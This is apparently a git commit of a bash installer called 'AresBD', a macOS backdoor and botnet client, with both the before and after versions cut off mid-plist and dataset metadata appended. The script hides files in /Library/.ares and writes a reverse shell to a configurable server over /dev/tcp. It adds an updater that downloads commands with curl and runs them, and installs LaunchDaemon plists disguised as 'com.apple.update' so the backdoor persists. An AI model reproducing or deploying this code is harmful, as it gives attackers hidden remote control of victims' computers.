<commit_before>#!/bin/bash

#  install.sh
#  AresBD
#
#  Copyright (c) 2015 <NAME>. All rights reserved.

SHELL_RECONNECT=60
BOTNET_RECONNECT=300
PORT=2222
SERVER=YOUR.SERVER

cd /

echo "Welcome to the AresBD server installer."
echo "Using port $PORT"
echo "Using server $SERVER"
echo ""
echo "The client will attempt to reconnect to the server every $SHELL_RECONNECT seconds."
echo "The client will attempt to download and execute botnet commands every $BOTNET_RECONNECT seconds."
echo ""
echo "Creating hidden directory..."
mkdir -p /Library/.ares
echo "Done."
echo ""

echo "Making sure that LaunchDaemons folder exists..."
mkdir -p /Library/LaunchDaemons
echo "Done."
echo ""
echo "Copying files..."
echo "Copying connect.sh..."

cat <<ENDOFCONNECTSH >> potato
#!/bin/bash
bash -i >& /dev/tcp/$SERVER/$PORT 0>&1
wait
ENDOFCONNECTSH

echo "Done."
echo ""

echo "Copying update.sh..."

cat <<ENDOFUPDATESH >> potato2
#!/bin/bash

curl -o /Library/.ares/newcommands http://$SERVER/newcommands

CURRENTMD5=`md5 -q /Library/.ares/commands`

NEWMD5=`md5 -q /Library/.ares/newcommands`

if [[ "$CURRENTMD5" == "$NEWMD5" ]]
then

rm -rf /Library/.ares/newcommands
exit

else

rm -rf /Library/.ares/commands
mv /Library/.ares/newcommands /Library/.ares/commands
bash /Library/.ares/commands

fi
ENDOFUPDATESH

echo "Done."
echo ""

echo "Copying com.apple.update.plist..."
cat <<ENDOFCOMAPPLEUPDATE >> potato2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.update</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>/Library/.ares/update.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>StartInterval</key>
    <integer>$BOTNET_RECONNECT</integer>
    <key>AbandonProcessGroup</key>
    <true/>
</dict>
</plist>
ENDOFCOMAPPLEUPDATE

echo "Done."
echo ""

echo "Copying com.apple.ares.plist..."
cat <<ENDOFCOMAPPLEARES >> potato
<?xml version="1.0" encoding="UTF-8"?><commit_msg>Extreme epic failing<commit_after>#!/bin/bash

#  install.sh
#  AresBD
#
#  Copyright (c) 2015 <NAME>. All rights reserved.

SHELL_RECONNECT=60
BOTNET_RECONNECT=300
PORT=2222
SERVER=YOUR.SERVER

cd /

echo "Welcome to the AresBD server installer."
echo "Using port $PORT"
echo "Using server $SERVER"
echo ""
echo "The client will attempt to reconnect to the server every $SHELL_RECONNECT seconds."
echo "The client will attempt to download and execute botnet commands every $BOTNET_RECONNECT seconds."
echo ""
echo "Creating hidden directory..."
mkdir -p /Library/.ares
echo "Done."
echo ""

echo "Making sure that LaunchDaemons folder exists..."
mkdir -p /Library/LaunchDaemons
echo "Done."
echo ""
echo "Copying files..."
echo "Copying connect.sh..."

cat <<ENDOFCONNECTSH >> /Library/.ares/connect.sh
#!/bin/bash
bash -i >& /dev/tcp/$SERVER/$PORT 0>&1
wait
ENDOFCONNECTSH

echo "Done."
echo ""

echo "Copying update.sh..."

cat <<ENDOFUPDATESH >> /Library/.ares/update.sh
#!/bin/bash

curl -o /Library/.ares/newcommands http://$SERVER/newcommands

CURRENTMD5=`md5 -q /Library/.ares/commands`

NEWMD5=`md5 -q /Library/.ares/newcommands`

if [[ "$CURRENTMD5" == "$NEWMD5" ]]
then

rm -rf /Library/.ares/newcommands
exit

else

rm -rf /Library/.ares/commands
mv /Library/.ares/newcommands /Library/.ares/commands
bash /Library/.ares/commands

fi
ENDOFUPDATESH

echo "Done."
echo ""

echo "Copying com.apple.update.plist..."
cat <<ENDOFCOMAPPLEUPDATE >> /Library/LaunchDaemons/com.apple.update.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.update</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>/Library/.ares/update.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>StartInterval</key>
    <integer>$BOTNET_RECONNECT</integer>
    <key>AbandonProcessGroup</key>
    <true/>
</dict>
</plist>
ENDOFCOMAPPLEUPDATE

echo "Done."
echo ""

echo "Copying com.apple.ares.plist..."
cat <<ENDOFCOMAPPLEARES >> /Library/LaunchDaemons/com.apple.ares.plist
<?xml version="1.0" encoding="UTF-8"?>
{'fraction_non_alphanumeric': 0.16329346826126956, 'fraction_numerical': 0.015639374425023, 'mean_word_length': 3.859217877094972, 'pattern_counts': {'":': 0, '<': 79, '<?xml version=': 4, '>': 83, 'https://': 0, 'lorem ipsum': 0, 'www.': 2, 'xml': 4}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 2, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3072083', 'n_tokens_mistral': 1625, 'n_tokens_neox': 1537, 'n_words': 375}